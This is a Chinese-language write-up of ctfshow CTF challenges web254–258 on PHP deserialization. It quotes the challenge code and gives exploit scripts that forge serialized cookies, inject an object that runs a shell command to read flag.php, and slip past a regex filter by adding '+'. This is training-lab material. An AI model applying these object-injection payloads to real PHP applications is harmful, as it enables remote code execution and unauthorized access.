web254
直接get傳參就行了
username=xxxxxx&password=xxxxx
web255
拿到代碼
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
首先get傳參,進入第一個if語句,接着對cookie值進行了反序列化,在cookie中構造序列化
exp
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxxx'; public $isVip = true; } $a = new ctfShowUser(); $b = urlencode(serialize($a)); echo $b; ?>
需要特別注意的是在cookie字段當中需要url編碼一波)(其名稱以及存儲的字符串值是必須經過URL編碼的)
web256
加了一個條件,讓類中的username和password值不一樣即可
<?php class ctfShowUser { public $username = 'xxxxxx'; public $password = 'xxxxx'; public $isVip = true; } $a = new ctfShowUser(); $b = urlencode(serialize($a)); echo $b; ?>
得到flag
web 257
要做的就是在析構函數中調用backdoor函數中的代碼執行函數
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code="system('cat flag.php');"; } echo urlencode(serialize(new ctfShowUser())); ?>
構造exp得到flag
成員變量中的class變量,當新建ctfshowuser這個類的時候會class值會被被覆蓋為構造函數中的值
web258
加了一個正則匹配
f(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
\d: 匹配一個數字字符。等價於 [0-9]。 +: 匹配前面的子表達式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等價於 {1,}。 /i: 表示匹配的時候不區分大小寫
反序列化內容包含有數字的,能被正則表達式過濾掉。
在類名長度前加個+即可繞過